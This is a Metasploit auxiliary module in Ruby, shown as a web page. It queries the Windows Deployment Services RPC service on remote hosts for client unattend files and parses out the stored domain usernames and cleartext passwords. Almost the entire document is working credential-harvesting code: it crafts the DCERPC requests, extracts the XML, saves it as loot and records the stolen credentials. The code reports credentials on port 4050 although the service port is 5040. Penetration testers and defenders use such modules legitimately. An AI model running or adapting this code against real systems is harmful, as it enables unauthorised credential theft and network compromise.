Authored by Jay Turla | Site metasploit.com

This Metasploit module retrieves the client unattend file from Windows Deployment Services RPC service and parses out the stored credentials. Tested against Windows 2008 R2 x64 and Windows 2003 x86.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

DCERPCPacket = Rex::Proto::DCERPC::Packet
DCERPCClient = Rex::Proto::DCERPC::Client
DCERPCResponse = Rex::Proto::DCERPC::Response
DCERPCUUID = Rex::Proto::DCERPC::UUID
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval',
'Description' => %q{
This module retrieves the client unattend file from Windows
Deployment Services RPC service and parses out the stored credentials.
Tested against Windows 2008 R2 x64 and Windows 2003 x86.
},
'Author' => [ 'Ben Campbell' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
[ 'URL', 'http://rewtdance.blogspot.com/2012/11/windows-deployment-services-clear-text.html']
],
))

register_options(
[
Opt::RPORT(5040),
])

deregister_options('CHOST', 'CPORT', 'SSL', 'SSLVersion')

register_advanced_options(
[
OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])
])
end

def run_host(ip)
begin
query_host(ip)
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionError => e
print_error("#{ip}:#{rport} Connection Error: #{e}")
ensure
# Ensure socket is pulled down afterwards
self.dcerpc.socket.close rescue nil
self.dcerpc = nil
self.handle = nil
end
end

def query_host(rhost)
# Create a handler with our UUID and Transfer Syntax

self.handle = Rex::Proto::DCERPC::Handle.new(
[
WDS_CONST::WDSCP_RPC_UUID,
'1.0',
],
'ncacn_ip_tcp',
rhost,
[datastore['RPORT']]
)

print_status("Binding to #{handle} ...")

self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)
vprint_good("Bound to #{handle}")

report_service(
:host => rhost,
:port => datastore['RPORT'],
:proto => 'tcp',
:name => "dcerpc",
:info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
)

table = Rex::Text::Table.new({
'Header' => 'Windows Deployment Services',
'Indent' => 1,
'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']
})

creds_found = false

WDS_CONST::ARCHITECTURE.each do |architecture|
if architecture[0] == :ARM && !datastore['ENUM_ARM']
vprint_status "Skipping #{architecture[0]} architecture due to adv option"
next
end

begin
result = request_client_unattend(architecture)
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
vprint_error(e.to_s)
print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
return nil
end

unless result.nil?
loot_unattend(architecture[0], result)
results = parse_client_unattend(result)

results.each do |result|
unless result.empty?
if result['username'] and result['password']
print_good("Retrieved #{result['type']} credentials for #{architecture[0]}")
creds_found = true
domain = ""
domain = result['domain'] if result['domain']
report_creds(domain, result['username'], result['password'])
table << [architecture[0], result['type'], domain, result['username'], result['password']]
end
end
end
end
end

if creds_found
print_line
table.print
print_line
else
print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.")
end
end

def request_client_unattend(architecture)
# Construct WDS Control Protocol Message
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)

guid = Rex::Text.rand_text_hex(32)
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid)

# Not sure what this padding is for...
mac = [0x30].pack('C') * 20
mac << Rex::Text.rand_text_hex(12)
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac)

arch = [architecture[1]].pack('C')
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, arch)

version = [1].pack('V')
packet.add_var( WDS_CONST::VAR_NAME_VERSION, version)

wdsc_packet = packet.create

vprint_status("Sending #{architecture[0]} Client Unattend request ...")
dcerpc.call(0, wdsc_packet, false)
timeout = datastore['DCERPC::ReadTimeout']
response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout)

if (response and response.stub_data)
vprint_status('Received response ...')
data = response.stub_data

# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
op_error_code = data.unpack('v*')[19]
if op_error_code == 0
if data.length < 277
vprint_error("No Unattend received for #{architecture[0]} architecture")
return nil
else
vprint_status("Received #{architecture[0]} unattend file ...")
return extract_unattend(data)
end
else
vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")
return nil
end
end
end

def extract_unattend(data)
start = data.index('<?xml')
finish = data.index('</unattend>')
if start and finish
finish += 10
return data[start..finish]
else
print_error("Incomplete transmission or malformed unattend file.")
return nil
end
end

def parse_client_unattend(data)
begin
xml = REXML::Document.new(data)
return Rex::Parser::Unattend.parse(xml).flatten
rescue REXML::ParseException => e
print_error("Invalid XML format")
vprint_line(e.message)
return nil
end
end

def loot_unattend(archi, data)
return if data.empty?
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
print_good("Raw version of #{archi} saved as: #{p}")
end

def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)

login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)

create_credential_login(login_data)
end

def report_creds(domain, user, pass)
report_cred(
ip: rhost,
port: 4050,
service_name: 'dcerpc',
user: "#{domain}#{user}",
password: pass,
proof: domain
)
end
end